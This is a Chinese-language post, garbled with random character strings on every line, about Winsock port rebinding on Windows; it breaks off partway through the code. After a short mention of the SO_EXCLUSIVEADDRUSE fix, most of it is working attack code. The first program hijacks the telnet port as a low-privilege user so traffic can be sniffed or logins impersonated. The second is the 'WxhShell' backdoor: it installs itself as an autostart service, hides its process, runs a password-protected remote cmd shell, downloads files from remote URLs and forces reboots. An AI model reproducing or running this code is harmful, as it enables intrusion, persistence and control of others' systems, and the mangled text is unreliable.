在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~mSW.jy}=- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X
jPPgI \C{Dui)F saddr.sin_family = AF_INET;
7dm:L'0 H[WsHq;T+9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
c[IT?6J4 `s )-
lI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kv!QO^;^Y ul@swp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
96(3ilAt g3 6:OK" 这意味着什么?意味着可以进行如下的攻击:
^uWPbW&/q Ux/|D_rlf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(&Kv]-- |]M|IX8
o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Yg<L pjq5X Ri 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]2_b_ok bHKTCPf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$yn7XonS (yJY/| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
U}yq*$N e7_.Xr~[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u# TNW. '9ki~jtf= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
a<NZC W>E/LBpE4 #include
+!~"ooQZh #include
K]{x0A #include
@%^JB #include
#NyfE|MKBC DWORD WINAPI ClientThread(LPVOID lpParam);
DXa!"ZU int main()
i-jrF6& {
,<CFjtelO WORD wVersionRequested;
6*aU^#Hz6 DWORD ret;
=,Zkg(M WSADATA wsaData;
hl/) 1sOIR BOOL val;
F HK{cE SOCKADDR_IN saddr;
A3uF 0A SOCKADDR_IN scaddr;
cb3Q{.-.# int err;
ZLGglT'EW> SOCKET s;
R/WbcQ) SOCKET sc;
Bs3M7zRG int caddsize;
j&N {j_M HANDLE mt;
im&Nkk4n@ DWORD tid;
)ep1`n- wVersionRequested = MAKEWORD( 2, 2 );
ymW? <\AD, err = WSAStartup( wVersionRequested, &wsaData );
u*S-Pji,x if ( err != 0 ) {
"-
?uB Mz printf("error!WSAStartup failed!\n");
n1Wo<$# return -1;
v[2N- }
'8"nXuL- saddr.sin_family = AF_INET;
eY V Jk7 Ylhy Z&a, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
zl3GWj|?\7 RxYC]R^78 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;Tec)Fl saddr.sin_port = htons(23);
e~ZxDAd if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t?(fDWd|- {
W; zzc1v printf("error!socket failed!\n");
?u4t; return -1;
'lMDlTU O }
P!yOA_)as val = TRUE;
R*`=Bk0+ //SO_REUSEADDR选项就是可以实现端口重绑定的
Yh["IhjR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
jX;$g>P {
4c]=kb GW printf("error!setsockopt failed!\n");
(
}RJW: return -1;
3+/^ }
;)ku SH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q&kG> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eyzXHS*s;L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
W,5_i7vr =x@v{cP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m7|S'{+! {
+Ym#!" ret=GetLastError();
[$D%]]/, printf("error!bind failed!\n");
IcA]B?+ return -1;
]Om;bmwt }
}3/|;0j$ listen(s,2);
6n:oEXM> while(1)
%D49A-R {
Y_FQB K U caddsize = sizeof(scaddr);
5|A"YzY# //接受连接请求
!DkIM}. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}a"koL if(sc!=INVALID_SOCKET)
-7IRlP& {
+&4@HHU{G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&U_T1-UR2 if(mt==NULL)
Kw =RqF {
FM"[:&> printf("Thread Creat Failed!\n");
1l s 8 h break;
oi7Y?hTj }
LYke\/ md }
4jw q$G CloseHandle(mt);
_/NPXDL }
c{3P|O&. closesocket(s);
9hei8L: WSACleanup();
Ov;q]Vn> return 0;
"9#hk3*GqX }
RN2z/FUf DWORD WINAPI ClientThread(LPVOID lpParam)
2Mu3]2> {
MP
p SOCKET ss = (SOCKET)lpParam;
AHzm9U @ SOCKET sc;
+fN2%aC unsigned char buf[4096];
?!u9=?? SOCKADDR_IN saddr;
OyQ[}w3o| long num;
s{:Thgv,9 DWORD val;
|*g\-2j{ DWORD ret;
Ie}7#>S //如果是隐藏端口应用的话,可以在此处加一些判断
sitgz)Ki^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q">wl saddr.sin_family = AF_INET;
7|k2~\@q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
e\._M$l saddr.sin_port = htons(23);
}Xb|Ur43 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l%
p4.CX {
+bk+0k9k5 printf("error!socket failed!\n");
xD9ZL return -1;
7[1VFc#tf }
ybv]wBpM: val = 100;
>@EwfM4[e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}O\g<ke:u {
nT7]PhJ ret = GetLastError();
j>3Fwg9V return -1;
XO5E-Nh }
\Rw^&;\1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5O~;^0iC {
k)zBw(wr ret = GetLastError();
c~= {A return -1;
D7Y?$=0ycb }
69 J4p=c, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c_ u7O
\ {
=N2@H5+7 printf("error!socket connect failed!\n");
1U(!%}, closesocket(sc);
cR/e
Zfl closesocket(ss);
Gh}* <X;N return -1;
]}pAZd }
:BF
WX while(1)
]YY4{E(9d {
r-Oz k$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
A:\_ \B%< //如果是嗅探内容的话,可以再此处进行内容分析和记录
e 8^%}\F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.*?)L3n+t num = recv(ss,buf,4096,0);
hVdGxT]6 if(num>0)
}tJMnq/m($ send(sc,buf,num,0);
CVZ4:p else if(num==0)
7
6HB@'xY break;
c^R "g)gr num = recv(sc,buf,4096,0);
<9x|)2P if(num>0)
fVYv 2 send(ss,buf,num,0);
GuF-HP}xM else if(num==0)
%;#9lkOXWH break;
;L,yJ~ }
D=B :tP closesocket(ss);
&`_|[Y ]H closesocket(sc);
eGUe#(I / return 0 ;
'cY@Dqg1 }
d>/4z#R}- _I%mY!x\` r#d]"3tH ==========================================================
Xy9'JVV6 h1#l12k^' 下边附上一个代码,,WXhSHELL
U+uIuhz .:/X~{ ==========================================================
~]BR(n :I^4ILQCD #include "stdafx.h"
M#yUdl7d <#~n+, #include <stdio.h>
R%JEx3)0m #include <string.h>
Lve$H(GHT #include <windows.h>
BbI),iP #include <winsock2.h>
}dSFv
#include <winsvc.h>
nb@<UbabW} #include <urlmon.h>
ZRUA w,T * @"^(} 6 #pragma comment (lib, "Ws2_32.lib")
,88%eX| #pragma comment (lib, "urlmon.lib")
Pd(n|t3[8 R!WeSgKCs #define MAX_USER 100 // 最大客户端连接数
cSj(u%9} #define BUF_SOCK 200 // sock buffer
JV!}"[ #define KEY_BUFF 255 // 输入 buffer
U}{\qs-z t !zxq9IhWR #define REBOOT 0 // 重启
R~bLEo #define SHUTDOWN 1 // 关机
eh*F/Gu 5;9.&f #define DEF_PORT 5000 // 监听端口
d_98%U+u 5hB2:$C #define REG_LEN 16 // 注册表键长度
DE?@8k #define SVC_LEN 80 // NT服务名长度
=OR&,xt x_EU.924uY // 从dll定义API
&0mhO+g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*gI9CVfQl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3iiOxg?j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
* =O@D2g0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gKb5W094@ *oIKddZh // wxhshell配置信息
h#8{fr)6 struct WSCFG {
s'@@q int ws_port; // 监听端口
]j(Ld\:L char ws_passstr[REG_LEN]; // 口令
dRTpGz int ws_autoins; // 安装标记, 1=yes 0=no
<pUc(
tPoz char ws_regname[REG_LEN]; // 注册表键名
j MA%`*r char ws_svcname[REG_LEN]; // 服务名
_[
`"E' char ws_svcdisp[SVC_LEN]; // 服务显示名
98WJ"f_ # char ws_svcdesc[SVC_LEN]; // 服务描述信息
!v 3wl0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4 W+ nSv int ws_downexe; // 下载执行标记, 1=yes 0=no
gwYTOs^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
g:"Hg-s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wD[qE hpticW| };
>2)!w c{f1_qXN // default Wxhshell configuration
& l~=c2 struct WSCFG wscfg={DEF_PORT,
=`%%* "xuhuanlingzhe",
{XYf"ONi 1,
$Vm J[EF1 "Wxhshell",
3K_!:[ "Wxhshell",
J~G"D-l<9/ "WxhShell Service",
+z\O"zlj "Wrsky Windows CmdShell Service",
.]Z,O>N "Please Input Your Password: ",
$E@ke: 1,
o6
[i0S "
http://www.wrsky.com/wxhshell.exe",
#/pZ#ny "Wxhshell.exe"
II_MY#0X };
Ia)^ KL*UU,qU // 消息定义模块
k?=V?JWY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Iyvl6 char *msg_ws_prompt="\n\r? for help\n\r#>";
SHPZXJ{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
M,UYDZ', char *msg_ws_ext="\n\rExit.";
O4 Y; char *msg_ws_end="\n\rQuit.";
Va'K~$d_ char *msg_ws_boot="\n\rReboot...";
YJwz*@l char *msg_ws_poff="\n\rShutdown...";
__||cQ char *msg_ws_down="\n\rSave to ";
BcoE&I?[m| <kor;exeJ char *msg_ws_err="\n\rErr!";
%u|qAF2uS char *msg_ws_ok="\n\rOK!";
~LzTqMHM >:P3j<xTv char ExeFile[MAX_PATH];
RwwX;I"o% int nUser = 0;
:Zd# }P HANDLE handles[MAX_USER];
wwmODw<tT int OsIsNt;
DSHpM/7 5*>3(U SERVICE_STATUS serviceStatus;
L9U<E $%# SERVICE_STATUS_HANDLE hServiceStatusHandle;
l+ <x ]t3
NA*mM // 函数声明
P.1iuZ "w int Install(void);
]j:Ikb} int Uninstall(void);
ByZ.!~ int DownloadFile(char *sURL, SOCKET wsh);
63-
YWhs; int Boot(int flag);
_E[{7"3} void HideProc(void);
*)d|:q3 int GetOsVer(void);
_V|'iz9. int Wxhshell(SOCKET wsl);
E]Hl&t/} void TalkWithClient(void *cs);
zR3Z(^]v int CmdShell(SOCKET sock);
_mL 9G5~r int StartFromService(void);
PX'I:B]x* int StartWxhshell(LPSTR lpCmdLine);
(jYs_8; L=}UApK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+=@Z5eu VOID WINAPI NTServiceHandler( DWORD fdwControl );
`ionMTZY ?-'Q-\j // 数据结构和表定义
tg5jS]O SERVICE_TABLE_ENTRY DispatchTable[] =
\>/:@4oK {
V2]S{!p}k {wscfg.ws_svcname, NTServiceMain},
"WYcw\@U {NULL, NULL}
(A&@
< };
0KT{K( c\4n 7m,y // 自我安装
o-Idr{ int Install(void)
|/lIasI {
HNuwq\w char svExeFile[MAX_PATH];
1,`x1dcO!A HKEY key;
%dT%r=%Y strcpy(svExeFile,ExeFile);
Pjb9FCA' P [nWmY // 如果是win9x系统,修改注册表设为自启动
|2 wff? if(!OsIsNt) {
NV-9C$<n2! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/9w}[y*E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|H_)u RegCloseKey(key);
]:E]5&VwV} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X-{:.9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ft.BfgJ$ RegCloseKey(key);
Sc~kO4 return 0;
sqZHk+<% }
A# M }
q=1SP@;\6 }
e<^4F%jSK else {
kyo ,yD V!U[N.&$ // 如果是NT以上系统,安装为系统服务
Yg]f2ke SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
G[>-@9_b if (schSCManager!=0)
/l$noaskX {
i)(QNpv SC_HANDLE schService = CreateService
Ju9v n44 (
^:)&KV8D| schSCManager,
]VYl Eqe wscfg.ws_svcname,
-% fDfjP wscfg.ws_svcdisp,
cT0g, ^& SERVICE_ALL_ACCESS,
3MzY]J
y( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M7>\Qk SERVICE_AUTO_START,
[sk"2 SERVICE_ERROR_NORMAL,
_gGy(` svExeFile,
? s ewU9* NULL,
GKd>AP_ NULL,
6~/H#8Kdn NULL,
P*T)/A%4 NULL,
#EM'=Q%TO NULL
#129 i2 );
v/haUPWF\ if (schService!=0)
y14@9<~9 {
pq&c]8H CloseServiceHandle(schService);
Go67VqJr CloseServiceHandle(schSCManager);
TnaIRJ\B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aBC[(}Pb] strcat(svExeFile,wscfg.ws_svcname);
Fszk?0T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B&$89]gs| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5Q}@Y3 i= RegCloseKey(key);
2$ rq return 0;
y d$37G|n }
0Yjy }
&4[iC/} CloseServiceHandle(schSCManager);
1<p"z,c }
Bm7GU`j" }
-?'CUm*Od 4yM8W\je return 1;
r/T DU[`& }
WE7l[<b ^9RBG#ud // 自我卸载
g0U
?s int Uninstall(void)
uR%H"f {
<FK><aA_i* HKEY key;
W%W.
+f QaO`:wJj if(!OsIsNt) {
^>p [b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]x G4T>S RegDeleteValue(key,wscfg.ws_regname);
)-{Qa\6(% RegCloseKey(key);
MnI $% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L' pZ RegDeleteValue(key,wscfg.ws_regname);
eBV{B70k RegCloseKey(key);
7| T:TbY> return 0;
wm8x1+P }
"J1ar.li }
8dhY"& }
1m)/_y~1
k else {
WI,=?~- 80EY7#r@w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@ih}x if (schSCManager!=0)
$g};u[y {
1W
g8jr's SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%ze1ZWO{ if (schService!=0)
7. .vaq# {
|Q;o538 if(DeleteService(schService)!=0) {
GXRjR\Ch CloseServiceHandle(schService);
\d+HYLAJn CloseServiceHandle(schSCManager);
t_rDXhM return 0;
[s2V-'2 }
4Dia#1$:J CloseServiceHandle(schService);
}BrE|'.j' }
,')bO*Ng CloseServiceHandle(schSCManager);
-!cAr
< }
b9N4Gr }
#0D.37R+k |7$h@KF=S return 1;
5!zvoX9 }
\G@6jn1G( SA1/U // 从指定url下载文件
"/?qT;<$) int DownloadFile(char *sURL, SOCKET wsh)
0d ->$gb {
sriz
b HRESULT hr;
JY+[ char seps[]= "/";
0Y2^}u@5 char *token;
[BBKj)IK char *file;
F/SsiUBS char myURL[MAX_PATH];
Cpcd`y=IN char myFILE[MAX_PATH];
0AKwZ'
&H E3skC%} strcpy(myURL,sURL);
|mmG
s token=strtok(myURL,seps);
He!!oKK> while(token!=NULL)
A*~1Uz\t {
lKUm_; m file=token;
%},G(> token=strtok(NULL,seps);
\2xBOe-a] }
J\'5CG rb'Gve W[ GetCurrentDirectory(MAX_PATH,myFILE);
jSYg\Z5! strcat(myFILE, "\\");
Ib8i#D V strcat(myFILE, file);
R
TUNha^<T send(wsh,myFILE,strlen(myFILE),0);
YXVJJd$U send(wsh,"...",3,0);
3{:<z4>{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rcmAVl:$> if(hr==S_OK)
;
,<J:%s return 0;
}>~>5jc/Pg else
&2=KQ\HO return 1;
d %W}w. E$Pjp oQTf }
AsLjU#jn ;-GzGDc~0 // 系统电源模块
pHB35=p28 int Boot(int flag)
y9li<u<PF {
Xb-c`k~_ HANDLE hToken;
,nR8l TOKEN_PRIVILEGES tkp;
D(6x'</>? }~r6>7I if(OsIsNt) {
X,+}syK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6QXQ<ah" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6.s? tkp.PrivilegeCount = 1;
wrYQ=u#Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
rDX'oP: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
v-fi9$#^ if(flag==REBOOT) {
o`mIi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hO.G'q$V return 0;
qd~98FS }
YG~ o else {
UX`DZb+^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#6sC&w3 return 0;
*P R_Y=v% }
.l=*R7~EU }
Z/= %J3f else {
LDEW00zL if(flag==REBOOT) {
G+ v, Hi1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Rgfhs[Z return 0;
}K80G~O2< }
^Lmc%y else {
C'czXZtn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
nQ17E{^pR return 0;
<yI,cM<c }
!LIfeL.4h }
T#G<?oF - (_e=3$ return 1;
M:Y*Tb6w }
)YMlFzYr
NJ)2+ // win9x进程隐藏模块
3U"') void HideProc(void)
Dbdzb m7 {
.k,Jt+ )ko{S[gG HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@" 0tW: if ( hKernel != NULL )
:~3{oZGX& {
f\);HJbg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)d(0Y<e@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XyM(@6,' FreeLibrary(hKernel);
d&T6p&V$ }
=Xy`"i{`( Z1$];Q\cX return;
XMEK5Z9Dd }
Q
A)9 {jM<t // 获取操作系统版本
"bR'Bt int GetOsVer(void)
|\%F(d330 {
3> \fP#oQ OSVERSIONINFO winfo;
uOl(-Zq@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#W@% K9 GetVersionEx(&winfo);
]LBvYjMY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@?3vRs}h return 1;
KT];SF^Y else
]bN&5.| return 0;
nl'J.dJe }
yMbcFDlBr <Hh5u~ // 客户端句柄模块
;4kx >x*H int Wxhshell(SOCKET wsl)
,V33v<|wc {
J7ktfyQ0W SOCKET wsh;
`xX4!^0Hm struct sockaddr_in client;
Xvu) DWORD myID;
P
0Efh?oZ Y$x"4=~ while(nUser<MAX_USER)
VXkAFgO {
KIKq9 * int nSize=sizeof(client);
nEd
M_JPv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u*26>. if(wsh==INVALID_SOCKET) return 1;
L8:]`MQ0 chO'Q+pw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
hg&w=l if(handles[nUser]==0)
Q)G!Y
(g\ closesocket(wsh);
~Un64M? else
DhWWN>I nUser++;
D(qHf9 }
P(pd0,%i;a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]HyHz9QkL G}P)vfcH return 0;
a:yB%:2 }
$v:gBlj%" np-T&Pz2 // 关闭 socket
,Um 5S6 Z void CloseIt(SOCKET wsh)
TZh\#dp4l {
6;
5)/ q closesocket(wsh);
n9kd2[s| nUser--;
|7QVMFZ ExitThread(0);
E 4='m }
p*pn@z 'f-
// 客户端请求句柄
N
b3I%r void TalkWithClient(void *cs)
~>#LOT ` {
Ql~#((K _\,rX\ SOCKET wsh=(SOCKET)cs;
Y_[g_ char pwd[SVC_LEN];
068WlF cWV char cmd[KEY_BUFF];
y _'e yR@) char chr[1];
$R%+* int i,j;
Mx/h?}u; $ yDW.pt while (nUser < MAX_USER) {
v#<\:|XAg E\R raPkQT if(wscfg.ws_passstr) {
Z!wD~C"D73 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d[Rb:Yw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|h^K M //ZeroMemory(pwd,KEY_BUFF);
2f3=?YqD i=0;
b
A)b`1lI while(i<SVC_LEN) {
+"YTCzv;t 8?e // 设置超时
|`w$|pm= fd_set FdRead;
09R,'QJ| struct timeval TimeOut;
=cdh'"XN FD_ZERO(&FdRead);
%<aImR] FD_SET(wsh,&FdRead);
x1Nme%%& TimeOut.tv_sec=8;
v[R_S TimeOut.tv_usec=0;
$Hp.{jw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2;~KL-h0TK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\|4 Ca't '1CD-
Bu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L"[IOV9S pwd
=chr[0]; oy2(A g\
if(chr[0]==0xd || chr[0]==0xa) { T(Y}V[0+
pwd=0; [urH a
break; )UR1E?'
} J#6LSD@(O
i++; n&_YYEHx
} QjQ4Z'.r >
|yLk5e~@-
// 如果是非法用户,关闭 socket i[^k.W3gf
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1KW3l<v-6
} HR[Q
?rg
`6rrXU6|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .r ~'(g{qt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TT|-aS0l(u
ob0~VEH-
while(1) { LkaG8#m1R
M$,Jg5Dc
ZeroMemory(cmd,KEY_BUFF); dav vI$TA
k?^%hO>[
// 自动支持客户端 telnet标准 ,q8(]n4
j=0; >4Iv[ D1
while(j<KEY_BUFF) { N\_( w:q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "3@KRb4f
cmd[j]=chr[0]; 9n_ eCb)H
if(chr[0]==0xa || chr[0]==0xd) { dO+kPC
cmd[j]=0; 7k3p'FeS
break; /ca(a\@R
} 9U]pH%.9
j++; NeY"6!;k
} ;)gLjF/F7
5+`=t07^et
// 下载文件 !loO%3_)
if(strstr(cmd,"http://")) { ]a)IMIh;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Q@6c
if(DownloadFile(cmd,wsh)) PM@XtL7J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\!
e9M
else f](I.lm:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z%Vr+)!4
} ?hKm&B;d
else { 6%>/og\%
_~ v-:w
switch(cmd[0]) { w-lrnjs
^Ss<X}es-
// 帮助 yP
x\ltG3
case '?': { 2.]~*7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P!5Z]+B#
break; AQ-mE9>P
} ^ b@!dS
// 安装 zgK;4
22$m
case 'i': { Pfm*<,'x"[
if(Install()) )eECOfmnZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0X.TF
else +hpSxdAz4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0"TgLd
break; Y7-*2"!
} 4*iHw+%mq
// 卸载 9-b 8`|s
case 'r': { L4~
W/6A
if(Uninstall()) $cq!RgRn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7iP5T
else ?C}sR: K/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ZR8s^X
break; O"qR }W
} ):S!Nl
// 显示 wxhshell 所在路径 2pz4rc
case 'p': { $1~c_<DN
char svExeFile[MAX_PATH]; uw_H:-J
strcpy(svExeFile,"\n\r"); =w6}\ 'X
strcat(svExeFile,ExeFile); L/)B}8m\
send(wsh,svExeFile,strlen(svExeFile),0); )qmFK
.;%
break; goB;EWz
} gd
K*"U
// 重启
F,zG;_
case 'b': { p(.N(c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )'`CC>Q
if(Boot(REBOOT)) |!oXvXU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lO[E[c G
else { q4)Ey
closesocket(wsh); uNy!<u
ExitThread(0); %w$mSG
} ?;_H{/)m
break; <z',]hy
} +ZX.1[O
// 关机 @/LiR>,
case 'd': { I
:@|^PYw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `&H04x"Y$>
if(Boot(SHUTDOWN)) Y_+
SA|s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y[7C% Wj
else { /,X7.t_-
closesocket(wsh); OMvT;Vgg
ExitThread(0); } #qQ2NCH
} $.9 +{mz
break; '<W<B!HP5Z
} !x8kB
Di,
// 获取shell L$SMfx
case 's': { T!(sZf
CmdShell(wsh); 7x(v?
closesocket(wsh); .D!WO
ExitThread(0); w]}f6VlEl
break; ^(DL+r,
} J
B(<.E2
// 退出 5~Q Tg
case 'x': { _\UIc;3Gl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l77'Lne
CloseIt(wsh); r,0@~;zA
break; 8A!'I<S1
} 2Y$
// 离开 :kt/$S^-
case 'q': { Iqx84
send(wsh,msg_ws_end,strlen(msg_ws_end),0); H~eGgm;p
closesocket(wsh); |*ReqM|_C
WSACleanup(); 3[.3dy7,Z
exit(1); UG # X/%p
break; {l@WCR
} n_}aZB3;U
} T=>vh*J
} me:iQ.g
WU7cF81$
// 提示信息 c@9##DPn
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]]f85
} L0xsazX:x
} 9OfU7_m
9>;} /*:H
return; ZL,8,;]
} a MsJO*;>
3Soy3Xp
// shell模块句柄 y]
y9'5_
int CmdShell(SOCKET sock) Hr&Ere8.4p
{ 'gCZ'edM
STARTUPINFO si; ~5T$8^K
ZeroMemory(&si,sizeof(si)); ']h
IfOD"r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sjn:O'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a5 bPEJ=I
PROCESS_INFORMATION ProcessInfo; Cdmy.gx^
char cmdline[]="cmd"; (2tH"I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); },s_nJR:8
return 0; [[X+P 0`r
} %mu>-h ac
'-.wFB;
// 自身启动模式 zIm-X,~I$
int StartFromService(void) h1*FPsc
{ 5VZjDg?
typedef struct 7DZTQUb"
{ w&5/Zh[~~L
DWORD ExitStatus; ntZ~m
DWORD PebBaseAddress; "[.ne)/MC
